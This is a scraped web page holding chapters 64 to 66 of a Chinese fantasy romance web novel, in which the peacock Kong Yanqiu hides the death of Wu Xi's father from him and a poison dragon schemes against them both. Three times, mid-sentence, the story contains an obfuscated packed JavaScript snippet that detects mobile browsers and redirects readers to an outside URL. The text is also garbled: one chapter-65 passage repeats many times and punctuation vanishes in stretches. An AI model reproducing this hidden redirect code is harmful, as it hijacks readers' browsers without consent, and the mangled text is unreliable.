巫曦脸红耳赤,鬓发散乱,像一块皱皱巴巴的小手帕,被孔宴秋紧紧揉在怀里,嘴巴也肿得跟蜜蜂蛰过一样,亮晶晶地泛着光。气得他想狠狠捶对方两拳头,可惜全身软绵绵的,提不起力气。 “说了只亲一下!巫曦气急败坏,“你违规又违约! “可是,我们的嘴巴都没有分开呀,孔宴秋无辜地说,“没有分开,不就只能算一个亲吻了吗? “刚刚明明分开了!巫曦哇哇叫着扑上去,“不光违约,还骗人!看拳! 孔宴秋从没有像现在这么快乐过。 当然了,过去和巫曦在小木屋的时候,他也是快乐的,只是那个时候,“快乐 还是一个非常模糊的概念,第一次不清不楚地浮现在他的生命中。 他知道和巫曦在一起很好,和他一起吃饭,一起说话,一起睡觉很好,听着他的笑声很好,看他在雪地里跑很好……但具体有多好,孔宴秋也说不上来,直到五感康复,“快乐”和“幸福”的含义,才如此清晰,如此浓烈地浮上他的心尖。 好喜欢他。 好爱他。 好想把他一口吃掉……啊,不,这个不可以,不能吃掉巫曦。 但……把他含在嘴里,轻轻地咬一下,用舌头拨弄一下,还是可以的,对不对? 这样没有巅峰,看不到尽头的快乐,令孔宴秋神魂颠倒,犹如一只围着花苞的蜂子,被小小的神人迷得团团转。 少年人的爱慕总是直白炽热,容不得一丝矫饰,丁点儿虚伪,更何况,这个“少年人”乃是堪堪初成的一只孔雀呢。 他清洁饰羽,梳理鬓发,并且开始用璀璨的璎珞,华美的臂钏和垂坠的耳环来装饰自己,正如每一只逐渐步入成熟,并且拥有了心上人的公孔雀一样。 这些繁琐的饰物非但没有喧宾夺主,反而加倍衬托出他天人般的相貌。孔宴秋摇晃丰厚的尾翎,闪耀上面金光闪闪的泪滴形羽斑,他在巫曦面前来回踱步,不遗余力地展示自己的雄健与英武,展示那森然妖美的尾屏。他说的每一句话,做出的每一个举动,都在急不可耐地向心爱之人炫耀自身的闪光点。 业摩宫的禽鸟忙不迭地避开了他和巫曦。 他们不得不退避,因为在这之前,谁也没见过求偶时的孔雀能有多狂热,多排外。倘若他们不是占据着“家臣”的地位名分,恐怕都不需要露面,只要被雄孔雀嗅见了气息,一个照面,连脑浆子都得被抓出来了。 孔宴秋的举止越发大胆。 情 欲的气息几乎浸满了他们夜夜安睡的巢床,并且满得快要溢出来。巫曦便如一块香肉,他日夜寸步不离地看着,时不时就要拿爪子戳一戳,用牙齿咬一咬,上嘴巴亲一亲。 但是,巫曦的年纪毕竟还轻,他含着这块肉,舍不得吞,更不能吐,稍微一晃神,手爪就跟有了自己的意志似的,忙不迭地往神人的脊背、后腰上按,倒把他自己差点逼疯了。 许多个深夜,他大汗淋漓地从梦中醒来,总能发现自己正把头埋在巫曦的后颈处,贪婪地吸进神人皮肤上的味道。在他的鼻腔里,巫曦就像暖融融的蜂蜜,伴随着一丝清爽微酸的浆果气息。 年轻的孔雀渴望地将这些味道压在自己脸上,用鼻尖来回碾 磨,直到自己像喝醉一样醺醺欲睡。饥饿的唾液浸湿了他的唇舌,为了缓解这种剧烈的焦渴,他张口含住巫曦的衣领——在他意识到自己在做什么之前,他已经把那块衣料塞进嘴里,用牙齿来回挫动,试图从上面咀嚼出更多的巫曦。 他的皮肤刺痛,爪子也痉挛着,那些实在无法发泄的火焰淤积在心头,最后,时常逼得他抱着巫曦狠狠打滚,好让他们混合在一起的气味涂满鸟巢,方能缓解一二。 巫曦:“? 巫曦睡意朦胧地将眼皮撕开一条缝儿,发现自己领子也湿了,整个人热得要命,还被大鸟锁在怀里滚来滚去…… 巫曦:“…… 太难评了。 算了!他想干嘛就干嘛吧。 巫曦无语地闭上眼睛,继续熟睡。 不过,平静的生活终究不能持续到永远,就在这对小情侣你侬我侬,泡在蜜罐子里的时候,九重天上一声震响——玉京天阙开启在即,这也意味着,金曜宫的大孔雀们,终于要出山了。 孔宴秋不情愿地忙碌了起来,他不得不削减与巫曦的相处时间。只是如今的他早就不再是那个疯魔厌世的黑孔雀,他的胸膛已经被另一个人填满,他的心脏也只为了那个人而跳动。 他因此百般犹豫,徘徊不决。 一方面,他无法消解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13369682|130309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金曜宫曾经带给他的伤痛。他恨了几百年,也扪心自问了几百年,他的父母为什么要抛弃他?金曜宫为什么连一只幼小的孔雀都不能容忍?难道仅仅因为他的五蕴阴火,因为他与众不同的颜色? 日日夜夜的拷问,问的不止是金曜宫,还有他自己的心。他越问,越觉得答案就在谜面上,只是他自己惧于承认。 另一方面,巫曦。 孔雀实在是非常恋家的生物,领地意识又强得不得了。神人的身躯脆弱,他肯定不能带巫曦去玉京天阙那样的凶险试炼之地,一想到要与他相守一生的爱侣分离,不知为何,孔宴秋总有种不妙的预感。 “你就放心去吧!最后,还是巫曦劝他,“不把这件事解决,它一定会变成你的心魔,以后你还要不要修炼了?去吧去吧,不用顾及我。 听见他这么说,孔宴秋才很勉强地展开翅膀,和手下的妖鸟一同前往探查。 在那些神祇还不曾远去的日子,玉京天阙的简称是“天门,诸神赋予这座天门奇异的权能,使越过它的众生都能得证己身,修成大道,化作镇守一方的神灵。 或许真的是走投无路了吧,神佛消弭之后,金曜宫的孔雀反倒将玉 京天阙视作最后的救命稻草,觉得凡是有幼雏能通过天门的试炼,便可拥有成为明王的资质。 对此,孔宴秋唯有冷笑。 就在调查玉京天阙的途中,他麾下的妖鸟突然收到一则消息,急忙赶来汇报。 “尊主,”鸟妖低声说,“长留那边出事了。” 本来与巫曦分别,孔宴秋就浑身不舒坦,听见这个地名,他心里更加不悦。 “什么?” “长留王于半月前离世,根据探子的消息,他在酒宴后醉倒,谁知王宫不慎失火,”鸟妖低声道,“据说,他在醉酒的时候打破了鲛油簋灯,火势难以收住,等发现的时候,人已经……” 孔宴秋安静数息,问:“继位的是谁?” “小殿下的大兄,”鸟妖回答,“长留的大王子。” 孔宴秋笑了起来,只是这笑全然不同于他和巫曦在一起的模样,反倒像小孩子看到了两个抵角厮杀的甲虫,兴味中带着更多的冷漠。 “早该杀了他的。”他说,“可惜机会难寻。” 下属笑着应和:“谁说不是呢?然而帝少昊的权能实在棘手,否则查明真相的那天晚上,卑职就该把他抓到您跟前,替小殿下报仇雪恨……” 说到这儿,鸟妖踌躇一下,还是请示:“要不要把这件事告诉小殿下?这毕竟是他的父亲……” 声音猛地断在喉咙里,鸟妖畏怖地后退,连忙紧紧地闭上嘴巴。 他已经看见了黑孔雀朝自己刺过来的眼神——暴虐嗜血,仿佛有谁要伸手到他怀里,夺走他最珍贵的宝物,夺走他的命似的! “活着的时候,从不见他关心巫曦,”孔宴秋一字一句,像从舌尖上吐刀子一样,“现在死了,倒是准备从我这里把人抢走,去关照他的尸首?他不配,懂了吗?他不配!整个长留,没有一个人配得上我的巫曦!” 他说出的每一个字眼,都像缠绕着毒蛇的信子,疯魔般咝咝作响。 周遭鸦雀无声,没有谁敢在此刻触他的霉头。下属们彼此交换眼神,俱是胆战心惊,额间冒出汗来。 孔雀在求偶期间的依恋性和攻击性本来就强,更不用说孔宴秋这样的异种了。他生下来便是无依无靠,无牵无挂,活到现在,好不容易蹦出来个巫曦,立刻叫他如获至宝,牢牢地攥在了爪子里。这时候,哪怕叫孔宴秋稍稍松一松指头肚,恐怕都比杀了他还痛苦。 孔宴秋非常满意这股沉默。 他一言不发地转过身去,继续观察天门洞开的时机。 同一时间,业摩宫内,巫曦正给花浇水。 一名侍从灵巧地闪身进来,见四下无人,才贴近他的耳畔。 “殿下,我们的鸟儿在数百里外发现了长留的神人。”侍从悄悄地说,“他们被暴风雪席卷来此,就快要死了。小鸟儿们不敢自作主张,所以让我来告诉您一声。” 因为孔宴秋的禁令,谁也不敢将来自长留的消息告诉巫曦,可如今黑孔雀走了,巫曦就是这里唯一的主人。侍从们见他近来总是长吁短叹,惦念情郎,便怀着逢迎的意思,想讨得他开心,遂不顾禁令,偷偷将这个消息传给了他。 作者有话要说 【归来!】 第 64 章 净琉璃之国(三十二) 第64章净琉璃之国(三十二) “长留的神人?”巫曦惊讶地问,“长留的神人,怎么会出现在这里……” “据他们所说,他们是前往青要国进行贸易的商队,不幸在途中遇到暴风雪,车队被吹散了一大半,只剩下这几个跟驮兽相依为命的商人还活着。发现他们的时候,人都是奄奄一息,驮兽也快累死了,所以才来请示您,我们要如何处置这几个商人?” 巫曦立刻道:“请款待他们,治好他们的驮兽,给他们一些金钱和食水,再送他们离开吧。” 侍从恭敬地应下,转身化作飞鸟,灵敏地掠出门窗,向下传递他的命令去了。 长留的商人…… 或许是日子已经太幸福,太美满的缘故,那些微小的遗憾也就加倍浓重,一听见故国的名字,巫曦便不由怅然。 他想起年迈的阿嬷,曾经维护过他,陪伴过他的司膳和司珍,还有与他一同大笑,欢闹的宫人。他们还好吗?阿嬷的身体还康健,司膳的脾气还是那么火爆吗?司珍有没有变得爱笑一点,她一直雕琢的玉狮子狗,如今也完工了吗? 他甚至想到了他的父亲。 时间真的可以淡化很多伤痕,如今再回想起来,他记忆中的父亲已经从一个面目不清,威严冷酷的王者,退化成了眉发花白,显出老态的孤家寡人。 巫曦不爱他,但是巫曦愿意祝他健康,如此天各一方,就是最好的安排了。 “那些长留的商人,”他忽然说,“他们在哪儿?我想去见见他们。” 侍从顿时左右为难。 孔宴秋的禁令,底下的鸟雀心知肚明,只是不敢让巫曦知道。 黑孔雀不许巫曦接触长留的一切事物,唯恐勾起他的思乡之情。他们今天如此做,已是犯了大忌,眼下无非是仗着巫曦一定会保住他们的命,不叫他们被黑孔雀一把毒火烧死罢了,倘若更进一步,要领巫曦去见那些长留人的话…… “殿下您也知道,尊主最讨厌外人进入业摩宫,他最近的脾气又暴躁,要是知道我们带您去见了外人……我们可不敢惹他生气呀……”侍从小心翼翼地规劝道。 “哦,”巫曦转念一想,孔宴秋近来确实有些神戳戳的,“那这样好了,我戴上灵玑玉,他们认不出我是谁,我也不跟他们讲话,就看看他们,可以不?” 他都提出了如此妥善完全的方案,侍从还有什么好说的? 于是,他们先百般警告那些商人,在筵席间 不许谈及长留的任何人或事再瞒着其他大妖悄悄地把巫曦送到那些商人用餐的筵席间让巫曦可以如愿以偿再度见到故国人的面貌。 自打巫曦来了以后业摩宫的各个厨房都有了显著的厨艺提升那些珍奇食材搭配上好看精巧的摆盘还有带着孔雀翎纹章的金玉杯盏完全打破了“妖兽只会茹毛饮血”的刻板印象反倒给人一种误入海外仙府的错觉。 但业摩宫毕竟是业摩宫但凡有点见识的人都该知道这里是黑孔雀的洞府何况走南闯北见识颇深的商队?受了妖鸟的告诫在场的七八个人皆是默不作声眼观鼻鼻观心地缩在座位上直至酒过三巡几个人的话匣子方被醉意打开互相小声说着话。 “妖魔许我们千金之礼以珍馐佳肴如玉美酒做宴”他们窃窃私语“为什么?我听说这是某位‘殿下’的许诺难道那只黑孔雀改性儿了?” “我看不是”另一个商人悄悄地回话着迷地呷一口酒“妖魔管黑孔雀叫‘尊主’这位殿下显然另有其人。” “算了 商人们闲谈的声音逐渐变大话题也逐渐开阔起来。他们谈到这次的损失和收获为不幸被暴风雪带走的同伴敬了酒也谈到家中的丈夫与妻儿还有更远方的情人。不知谈到什么其中一名商人话锋一转提到了家人写给他的信。 “……唉!听家小说现在国中也不太平乱着呐……” “可不是吗?先王才故去几天啊大王子就这么不知收敛……” 他们身后青纱帘忽然发出极细微的响动。 商人们酒酣耳热顾不得身后的动静更忘了妖鸟先前的告诫和叮嘱在与长留国八竿子打不着的业摩宫他们倒是找到了畅所欲言的机会。 侍从们见势不妙急赤白脸地飞上厅堂尖声怒斥道:“住口都住口!我们救了你们的命又给你们盛宴款待的礼节你们就是这样报答业摩宫的吗?!竟敢在这里胡言乱语!” 商人们都吓得呆住了。 沉默半晌一个商人畏惧道:“大人这、在下卑微之躯谈论的也不过是凡尘俗事关乎本国的一些流言蜚语哪里就有心要冒犯您呢?请您饶恕……” “竟敢狡辩!”侍从严厉呵斥道“还不快快噤声难道这些食物和酒水都堵不住你们的嘴么?” “让他 们说。” 纱帐后,忽然响起一个声音。 那固然是清澈的少年嗓音,可如今它变得低沉而有威严,恰如一名年轻的君王,果决地行使着他的权力。 侍从们的脸更白了。 他们原本就是肤色白皙的人形,现在,他们的脸庞简直惨白得没有一丝血色。 侍从的翅膀发抖,颤巍巍地道:“殿下……” 巫曦一把掀开纱帘,神色冷肃,大步走出,坐在上首的位置。 “继续你们刚才的话题,”他说,“长留王——是怎么回事?” 侍从面如死灰,哀声叫道:“殿下!” “下去吧,”巫曦道,“今天的事,你们并不知情。下去吧!” 侍从们无可奈何,他们对视一眼,心中已经有了不好的预感。 今天的事,只怕很难善了了。 · 是夜,孔宴秋敛翼归来。 他急匆匆地走进寝殿,问:“怎么了?你说有件要紧事,一收到你的口信,我就马上赶了回来……出什么事了?” 巫曦眉心微蹙,他没有说话,好像还在思索要如何开口,孔宴秋便继续高兴地说了下去,声音难得带着按捺不住的激动:“金曜宫的探子已经传来消息,那些老不死的孔雀不日便会动身,我等了这么久,总算等到今天,他们再也避不开我了!” 巫曦没有打断他,安静地等他说完,才道:“孔宴秋,我得回一趟长留。” 孔宴秋猝不及防,被他的要求震了一下,他的笑容消失得无影无踪,几秒钟之后,才稳定心神,低声问:“……怎么突然要回长留?” 他问出这个问题的时候,心中已经有所预感:也许巫曦知道了他父亲的事。 但他好端端地待在业摩宫,又有谁敢将长留的消息递到他耳边? “我父亲去世了。”巫曦直截了当地道,“他走得离奇,我不能不回去。” 莫名的恐慌开始在孔宴秋心中蔓延,他按捺下来,镇定道:“你从何得来的消息?确定可靠吗?” 巫曦眉心微皱,孔宴秋的回应不是他想象的那样,但他此刻心烦意乱,还是选择不去深究对方的奇怪之处,回答道:“今天,我见到了几个长留的商人,他们说……” 孔宴秋怒火攻心,猛地起身,就要向外飞去。 他们竟敢违抗我的命令,将长留人放进业摩宫! “站住,”巫曦跟着起身,“你要去哪?” 孔宴秋回头一眼,巫曦心如明镜,已然了悟。 “你……你要去责罚那些侍从?为什么?你因为我跟故国的人见面就要去责罚他们么?” 孔宴秋的双拳握起最后泄气道:“……长留最近不甚太平时常有毒龙的踪迹出没。俱时德叉伽老奸巨猾我只担心它策划了什么阴谋要引你回去。” “长留有守生大阵在万年来从未出过差错”巫曦仍然困惑“我在那里不会有事的等到葬礼一结束我就回来这样也不行吗?” 顿了顿他又说:“我知道玉京天阙随时可能开启这次我不强求你和我一起回长留但是我父亲的葬礼我总得回去见他最后一面。” “倘若当初害你的凶手也在长留呢?”孔宴秋迫切地道他只想让巫曦打消这个风险太大的想法“如果他暗中与毒龙勾结呢?长留守生是厉害可它也有破绽。你不要忘记只要王族应允即便是吃人的凶兽 巫曦的眉毛已经深深地皱了起来。 看着情郎的面庞他忽然问:“你知道什么了对不对?” 孔宴秋没有动也没有回答。 “你早就派人去过长留……”巫曦喃喃道“否则你不会了解大阵的规则更不会无缘无故地提起凶手。你……” 他紧紧向前两步低声追问:“你查到了什么?” 孔宴秋只是沉默。 巫曦惊讶地端详着他仿佛忽然发现了情郎完全陌生的另一面。 无名的怒火在他心中燃起他转过身将路上要带的衣服胡乱扔到包裹里赌气地道:“好你不说话我也不能逼你开口。你就站在那里当哑巴好了!我自会找到回家的法子……” 孔宴秋三步并作两步一把拉住了他的手。 “不要回去”他说“如今长留继位的已经是你长兄你可知他做了什么?” “走开”巫曦甩掉他的手“我不管他做了什么他做什么都不关我的事!” 说话的时候他已经在包袱皮上撂了一座小山出来更换的衣衫提壶荷包毛茸茸的斗篷药瓶小刀……乱七八糟地堆了一嘟噜。孔宴秋阻拦不及他就像生出了八只手总能从不知名的角落里摸出不知名的小玩意儿“啪”地往小山上一丢。 “……可他就是害你的人!”孔宴秋实在忍不住了高声道“当初你的云车是如何坠毁你如何流落大荒九死一生……你以为都是谁做的?就是如今统治长留的新王你的长兄!” 巫曦的动作凝固了。 他低着头,手里抓着一枚小小的药囊,孔宴秋也看不清他的表情。 “你是什么时候知道这件事的?”巫曦轻声问道。 话已经说到这儿,也没什么瞒的必要了。孔宴秋默然片刻,道:“我们刚到业摩宫的那些天。” “差不多三年前,”巫曦自言自语地道,他难以置信地笑了起来,“所以我父亲的死,你也知道,对不对?” 他抬起眼睛,定定地望着他。 “你早就知道……却没有告诉我。” 如果说刚才火势还小,如今,这把火简直呈现出燎原之势,在巫曦胸口处熊熊地燃烧。 “要是我没有阴差阳错地遇到那些长留的商人,要是我没有把你叫回来,没有这样问你,”他站定了,大声质问面前的黑孔雀,“你永远都不可能把这些事告诉我,对不对?!” 孔宴秋始终不曾说话,因此巫曦的怒火也越发高涨,他咬着牙齿,声音逐渐又快又急:“你打算瞒我多久?一百年,两百年,还是瞒到我死为止?你凭什么这么做?” 孔宴秋的神情犹如冰雕石塑,顽固得无坚不摧,直到听见“死”这个字眼从巫曦口中吐出来,他的面皮才抽动了一下。 “凭他们不配,就这么简单。”孔宴秋低下头,暗金色的鸟瞳隐没在一半的阴影中,“长留王压根就不是个合格的父亲,他对你不管不问,任由那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13369683|130309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些低贱之人轻视你、欺辱你;他的大儿子更是个野心勃勃的蠢货,为了一个小小的王位,竟不惜弑亲杀父!这样的家庭,难道配得上你吗?他们只配与虫豸为伍,在地下腐烂!” 巫曦的目光惊惶,而他偏执地注视巫曦,语气中透出近乎痛苦的渴望:“我会为你寻来长生不老的灵药……届时长留与你何干,神人又与你何干?我们会永远在一起,永远不会分开……” “——不要把你的想法强加给我!”巫曦发抖地喊道,同时打断了他狂热的宣告和絮语。 四周一派死寂,他的眼中已有泪光滚动。 “不要,把你的想法,强加给我……”他喘着气,哽咽地说,“我不是谁的附属品,我不需要某个人来为我规划以后的人生,你这样做,岂非要断绝你我日后的情分……” 这话说得太狠了,孔宴秋的脸孔瞬间惨白一片,嘴唇更是发颤。 他胸中堵着千言万语,却不知从何说起。 还未破壳出世,我便灵智已开,那时的我也享受过短暂片刻的温情。我能听见父母对我的期许,他们给我起了一个名字,冲我笑,偶尔,我还能感觉 到壳上传来的热度——他们的手轻轻拂过那里竟然让我生出一种被爱着的错觉。 然后我啄开蛋壳得见天日。 没有欢声笑语没有往来恭贺只有刺耳的惊叫。我听见很多孔雀在低声哭泣很多孔雀在怒气冲冲地痛斥着什么。 再然后他们下定决心要将我丢弃。 我害怕极了拼着命地睁开双眼渴望得到双亲的庇护却只看见他们失望至极的脸。 父亲眉头紧皱母亲则大哭出声:“我怎么生出了这样一个孽障!” ……他们叫我孽障。 我这一生碎得太多受的苦更多。家人骨肉、血缘至亲……你看他们占着多么亲密的位置仿佛生来就有的特权可越是亲近背叛捅刀的时候就伤你越重。 你是我的心我的灵魂我的生命不过是一座贫瘠的花园可你却是那里唯一盛开的花朵。 我宁愿你避开一切危险一切悲伤和愤怒一切会把人打碎让人难过流泪的事物。难道我做错了吗?我们之间的情分怎可为了这点小事就断绝? 出于过度的悲愤他的情绪也变得激动许多尖锐的东西同时凝结成了话语被他不顾一切地倾吐出来。 “你要为了他们的事跟我断绝情分可在你身陷荒野无依无靠的时候他们又为你做了什么?!”孔宴秋厉声问“没有!他们什么都没做你的手足兄弟就是残害你的人!你的生母早就远走高飞了而你的生父你执意要给他奔丧要去看他最后一眼的好父亲他空有王的名头却连替你追查凶手讨回公道都做不到!” 刹那间巫曦的胸膛剧烈颤抖他睁大眼睛嘴唇猝然发白像是被一把冰寒的匕首插进了心口。 “你……你放不下玉京天阙放不下你的仇恨 孔宴秋的眼眶早已变得通红他咬紧牙关倔强地盯着巫曦。 是的这就是他的爱这就是孔雀的爱生命的一切意义不过是与认定的爱侣不离不弃万年交颈…… “去完玉京天阙无论有没有问出我想要的答案我都与金曜宫一刀两断再无干系。”他强迫自己平静下来尽快缓和过于紧张的气氛勉力道“毒龙正在长留边境窥探不知酝酿什么……” “我不是要你让渡自由!”巫曦真是要崩溃了“ 你要去玉京天阙,那你就去啊!我又何时阻拦过你呢?我只想见亲人的最后一面,就算不为吊唁,我也想知道他是怎么死的!但你居然瞒了我这么多,这么久,你太自私了,我不是你孔宴秋的私人财物!” “……可我就是你的东西!”孔宴秋含着眼泪,绝望地大喊道,“我是你的……我的心,我的血和肉,我这条命,随你取用,都是你的,全都是你的!你想走吗?可以,把我的命也带走,把我的心也挖出来带走!没了你,我还有什么好活的?” 满室寂静,唯余一前一后的两道呼吸,长颤着连绵。 年轻的孔雀伸出手爪,难以自持地撑着旁边的桌案,身体无法控制地剧烈发抖。 他已经泣不成声。 “你说我自私,说日后断绝我们的情分,你看我的眼神,就像要恨我一样……你何不拿把刀,捅到我的胸膛,把我的血肉剖开,挖出我的心来看一看……” 巫曦再也说不出话了,他无声地淌着眼泪,听见孔宴秋低低地说:“好,好,没关系,从前的事,我们都不提了,你想回长留,我陪你一起去。总归这一生一世,你到哪里,我就去哪里……” “我不要你陪我去。” 巫曦梗着脖子,哭得头也晕了,眼也花了,满脸是水:“我不要你一个劲儿地让步,我做不到!感情不是这么维系的,你去玉京天阙见你的长辈,去了结你的心魔,我回长留吊唁我的父亲,就这样,就这样!除了这个,我不接受别的法子!” “……那么你就留在业摩宫吧。”孔宴秋哑声说,“我决不允许,你现在回长留。” 巫曦霍然站起,不知是气的,还是哭的,抽噎着止不住嗝。他大声道:“你,你要关我的禁闭?!” 孔宴秋硬是狠下心肠,偏过头去,向后退进无边的黑暗里。 “孔宴秋……你站住!”巫曦气得双目圆睁,眼圈肿得像两个桃子,“孔宴秋!我看你敢走?!” 然而,四周无声,回答他的只有沉默。 作者有话要说 【其实两个小朋友处理感情的方式是很冲动,很不成熟的,大家不要学习喔。。】 第 65 章 净琉璃之国(三十三) 第65章净琉璃之国(三十三) 巫曦气得浑身哆嗦。 他向后退去,重重跌坐在床上,寂静和黑夜犹如潮水向他涌来,一层层地卷走了他的怒火,他的泪水和心痛。 第65章净琉璃之国(三十三) 巫曦气得浑身哆嗦。 他向后退去,重重跌坐在床上,寂静和黑夜犹如潮水向他涌来,一层层地卷走了他的怒火,他的泪水和心痛。 第65章净琉璃之国(三十三) 巫曦气得浑身哆嗦。 他向后退去,重重跌坐在床上,寂静和黑夜犹如潮水向他涌来,一层层地卷走了他的怒火,他的泪水和心痛。 第65章净琉璃之国(三十三) 巫曦气得浑身哆嗦。 他向后退去,重重跌坐在床上,寂静和黑夜犹如潮水向他涌来,一层层地卷走了他的怒火,他的泪水和心痛。 第65章净琉璃之国(三十三) 巫曦气得浑身哆嗦。 他向后退去,重重跌坐在床上,寂静和黑夜犹如潮水向他涌来,一层层地卷走了他的怒火,他的泪水和心痛。 第65章净琉璃之国(三十三) 巫曦气得浑身哆嗦。 他向后退去,重重跌坐在床上,寂静和黑夜犹如潮水向他涌来,一层层地卷走了他的怒火,他的泪水和心痛。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13369684|130309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第65章净琉璃之国(三十三) 巫曦气得浑身哆嗦。 他向后退去,重重跌坐在床上,寂静和黑夜犹如潮水向他涌来,一层层地卷走了他的怒火,他的泪水和心痛。 第65章净琉璃之国(三十三) 巫曦气得浑身哆嗦。 他向后退去,重重跌坐在床上,寂静和黑夜犹如潮水向他涌来,一层层地卷走了他的怒火,他的泪水和心痛。 第65章净琉璃之国(三十三) 巫曦气得浑身哆嗦。 他向后退去,重重跌坐在床上,寂静和黑夜犹如潮水向他涌来,一层层地卷走了他的怒火,他的泪水和心痛。 第 66 章 净琉璃之国(三十四) 第66章净琉璃之国(三十四) 兜帽人盯着巫曦,目光变得复杂玩味。 巫天汉没有什么好救的自始至终他就是用来牵动巫曦的一枚棋子。对于一只孔雀,而且是雄孔雀来说再没有比“夺走另一半”更残酷的报复了。 天门即将洞开的消息,毒龙当然也知晓。世界上最了解你的人不会是朋友只能是敌人,俱时龙王太老了,一个老且不死的敌人正意味着它同时是世上最了解孔雀的生物。 从它打探到孔宴秋的身份 恰恰好,巫天汉是个目光短浅,志大才疏的蠢货。 倘若他没有因为害人而一时心虚,召见那个幸存的孩子问话,他的妻儿就不会染上龙毒;倘若他不是只想着解决眼前的祸事赋予毒龙进入长留的权力他就不会被蛊惑,被强迫……年迈的长留王当然也就不用死。 可多么遗憾,他太好用了。 孔雀对伴侣的独占欲世人皆知,俱时德叉伽十分清楚,幼时被抛弃的经历,长年累月的恨意,五感缺失的生活早就把黑孔雀折磨透了。一只半疯不疯的孔雀势必不会允许那个小小的神人回到局势诡谲的故国他只会像溺水之人抓住唯一一根救命稻草般紧紧地攥着对方而神人肯定也对故国的巨变以及生父的死讯一无所知。 于是在傀儡登基即位之前大量的商队旅者和求学客就被有意无意地遣往业摩宫的方向在他即位之后大量关乎长留王死讯的流言蜚语同时散布到了业摩宫周边的神人国家—— “那个小神人一定会回来的。”老龙王诡秘地低语“一切就是这么巧玉京天阙马上就要开启长留却出事了他会怎么选黑孔雀又会怎么选呢?” 论起玩弄人心操纵奸计它的对手不过是一头刚刚蜕羽的幼稚孔雀一个堪堪成年的柔弱神人何况敌在明它在暗一对可怜的小小爱侣要如何才能脱出毒龙王的掌心? 正因为龙王是如此老谋深算城府奸滑身为它的子嗣毒龙王子才不会将巫曦放在眼里如今孔雀不在身边一介小小的神人又能翻起什么花样? 所以它们半是惊讶半是轻蔑地旁观了巫曦将巫天汉打成一堆只会喘气的肉 就像人类围观小猫小狗打架一样。如今面对巫曦的要求,毒龙王子同样无所谓地应下了。 再次见到阔别数年的旧日亲故,巫曦的衣襟上还沾着长兄的血,他扑到年迈阿嬷的怀抱里,怀恋地吸进她身上温暖的皂角淡香,再依次拥抱了司膳和司珍。几年过去,她们的容貌不改分毫,眼中却带上了戒备的惊惶,充满恐惧地望着那些头戴兜帽的龙人。 “走,快走,”伏在她们耳边,巫曦急促地小声叮嘱,“城外你们会看到接应的人……好吧可能不是人,但是你们跟着她,是绝对安全的,别管我,快走!” 他几乎将巫天汉打死,且不说毒不毒龙,弑不弑君,巫天汉在长留自有一股稳固的势力支持,还是早早将重要的人救出这个纷乱四起的王城是最好。 等到巫曦透过千里镜,确定他最重要的人都离开了这个危险的地方,才深吸一口气,转过身去。 这些毒龙受的尽是“长留王”的邀请,对付他们,巫曦可就用不到守生了。 “送亲的队伍,你们也会在里头,是不?”他问,“轿子在哪儿?” 毒龙咧嘴一笑,闪电般地抖出一捆龙筋绳,瞬间将巫曦绑成了个严严实实的小粽子,摔在地上。 “你……!”巫曦双目圆睁,刚要呼喊,嘴皮便是一封,犹如被浆糊粘住,半点开不了口。 毒龙露出古怪的笑意,方才受到明珠羞辱的那口恶气,此刻才算消解。 “新娘子,我也想好好待你,可据我的所闻所见,你未免太过滑不溜手,很有点小聪明,所以,我只好先下手为强。这是千年龙筋,管你是神是仙,但凡能挣脱一点,我跟着你姓!” 巫曦很想说我才没有你这么大的丑儿子!只是嘴被封着,唯有狠狠瞪它。 毒龙王子嘿嘿冷笑,吐出分叉的舌尖,看见它毫无顾忌,做出如此异状,殿中聚集着几十号人,全吓得噤若寒蝉,筋酥脚软,直到后头的毒龙伸长脖子,“咔嚓”一口,将一名内侍的头连着半个胸膛血淋淋地咬下,满殿神人才惊声尖叫着逃窜,像一群惊惶的蚂蚁,分散到宫殿的各个角落去了。 失算……! 巫曦无法阻拦,只能当个小粽子,被毒龙拎在爪子上,动弹不得,摇摇晃晃地一路向下。 毒龙侵入的这段时间,已经修建出了一条漫长的,像火山下方一样的幽深隧道。在那里,一驾颇具毒龙审美的轿撵早就备好,两列抬轿的小毒龙亦是整装待发。毒龙王子将巫曦往那个四面透风的轿子里一丢,变化原形,志得意满地道:“启程!” 但是也没有太失算。 耳边风声呼啸,将隧道两侧燃烧的妖异的紫色火炎拉长成许多模糊的流线,令巫曦无法抑制地想起另一个拥有黑紫色火焰的坏鸟。 但现在不是睹物思人……思鸟的时候,他翻倒在车驾里,手中已然点起一簇金色的灵火。 什么千年龙筋?有龙你就报,是龙我就烧,俱时协罗的眼珠子都给你打烂了,还差这一个吗? 